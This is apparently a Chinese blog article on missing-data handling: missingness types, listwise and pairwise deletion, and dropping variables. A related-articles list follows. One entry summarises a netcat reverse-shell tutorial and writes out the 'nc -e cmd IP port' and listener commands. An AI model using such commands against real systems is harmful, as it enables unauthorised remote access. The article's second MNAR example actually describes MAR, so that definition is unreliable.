处理数据缺失的结构化解决办法

简介: 数据缺失是数据科学家在处理数据时经常遇到的问题,本文作者基于不同的情境提供了相应的数据插补解决办法。没有完美的数据插补法,但总有一款更适合当下情况。

数据缺失是数据科学家在处理数据时经常遇到的问题,本文作者基于不同的情境提供了相应的数据插补解决办法。没有完美的数据插补法,但总有一款更适合当下情况。

我在数据清理与探索性分析中遇到的最常见问题之一就是处理缺失数据。首先我们需要明白的是,没有任何方法能够完美解决这个问题。不同问题有不同的数据插补方法——时间序列分析,机器学习,回归模型等等,很难提供通用解决方案。在这篇文章中,我将试着总结最常用的方法,并寻找一个结构化的解决方法。
插补数据vs删除数据

在讨论数据插补方法之前,我们必须了解数据丢失的原因。
1随机丢失(MARMissing at Random):随机丢失意味着数据丢失的概率与丢失的数据本身无关,而仅与部分已观测到的数据有关。
2完全随机丢失(MCARMissing Completely at Random):数据丢失的概率与其假设值以及其他变量值都完全无关。
3非随机丢失(MNARMissing not at Random):有两种可能的情况。缺失值取决于其假设值(例如,高收入人群通常不希望在调查中透露他们的收入);或者,缺失值取决于其他变量值(假设女性通常不想透露她们的年龄,则这里年龄变量缺失值受性别变量的影响)。

在前两种情况下可以根据其出现情况删除缺失值的数据,而在第三种情况下,删除包含缺失值的数据可能会导致模型出现偏差。因此我们需要对删除数据非常谨慎。请注意,插补数据并不一定能提供更好的结果。

 3e6635d9ae009f84e63b9c2f72e84ee53faaa1ae


删除

列表删除

按列表删除(完整案例分析)会删除一行观测值,只要其包含至少一个缺失数据。你可能只需要直接删除这些观测值,分析就会很好做,尤其是当缺失数据只占总数据很小一部分的时候。然而在大多数情况下,这种删除方法并不好用。因为完全随机缺失(MCAR)的假设通常很难被满足。因此本删除方法会造成有偏差的参数与估计。

 12ce7ce3a27b50f6cfa1fbaf1a8b41631248ecc4

成对删除

在重要变量存在的情况下,成对删除只会删除相对不重要的变量行。这样可以尽可能保证充足的数据。该方法的优势在于它能够帮助增强分析效果,但是它也有许多不足。它假设缺失数据服从完全随机丢失(MCAR)。如果你使用此方法,最终模型的不同部分就会得到不同数量的观测值,从而使得模型解释非常困难。

 23dc1ef9569bff78ce7a71b0264e4c73fb0a8196

观测行34将被用于计算ageNaDV1的协方差;观测行234将被用于计算DV1DV2的协方差。

f655ff42041457ccbd5cd74bef68154cc69a6e89

删除变量

在我看来,保留数据总是比抛弃数据更好。有时,如果超过60%的观测数据缺失,直接删除该变量也可以,但前提是该变量无关紧要。话虽如此,插补数据总是比直接丢弃变量好一些。

fa11cb079b6cc753f5f0806c32484973bc9662f2

相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
617 0
|
SQL 存储 OLAP
阿里CCO基于Hologres的亿级明细BI探索分析实践
阿里CCO基于Hologres的亿级明细BI探索分析实践。
1708 0
阿里CCO基于Hologres的亿级明细BI探索分析实践
|
5月前
|
canal 数据可视化 关系型数据库
2025年5大国产ETL工具横向评测
在企业数据管理中,ETL工具成为整合分散数据的关键。本文介绍了五款主流国产ETL工具:FineDataLink(低代码、功能全面)、Kettle(开源易用)、DataX(高速同步)、Canal(MySQL实时增量处理)和StreamSets(可视化强),帮助用户根据需求选择最合适的工具,提升数据效率与业务价值。
1239 56
|
5月前
|
数据采集 NoSQL 关系型数据库
试了一圈 ETL 工具后,这几款真心够用了!
ETL(数据抽取、转换、加载)是整合企业分散数据的关键技术。本文介绍了四种常用ETL工具:FineDataLink(功能全面、可视化操作)、Kettle(开源免费、灵活易用)、DataX(高效同步、适合大数据搬运)、Airflow(流程调度、任务管理),并分析了各自适用场景,助力企业根据自身需求选择合适工具,提升数据处理效率。
|
XML JSON Java
OpenFeign深入学习笔记
OpenFeign 是 Spring Cloud 生态系统中的一个强大工具,它使得微服务之间的通信变得更加简单和高效。通过使用 OpenFeign,开发者可以专注于业务逻辑的实现,而不需要关心底层的 HTTP 通信细节。
301 0
|
存储 Java Apache
Servlet 教程 之 Servlet 文件上传 2
该教程介绍了如何使用Servlet进行文件上传。关键步骤包括:确保引入Apache Commons FileUpload和IO库,创建`UploadServlet`,设置上传配置,解析请求以提取文件数据,并将文件保存至服务器指定目录。如果上传成功,用户将被重定向到`message.jsp`显示提示信息。
246 1
|
关系型数据库 MySQL Unix
mysqld_safe: command not found 解决方法
mysqld_safe: command not found 解决方法
2637 0
|
网络协议 Ubuntu Unix
Linux 下使用 socket 实现 TCP 服务端
Linux 下使用 socket 实现 TCP 服务端
268 0
|
存储 运维 Oracle
Oracle系列十八:Oracle RAC
Oracle系列十八:Oracle RAC
2500 0
|
关系型数据库 数据库 PostgreSQL
postgresql|数据库|恢复备份的时候报错:pg_restore: implied data-only restore的处理方案
postgresql|数据库|恢复备份的时候报错:pg_restore: implied data-only restore的处理方案
678 0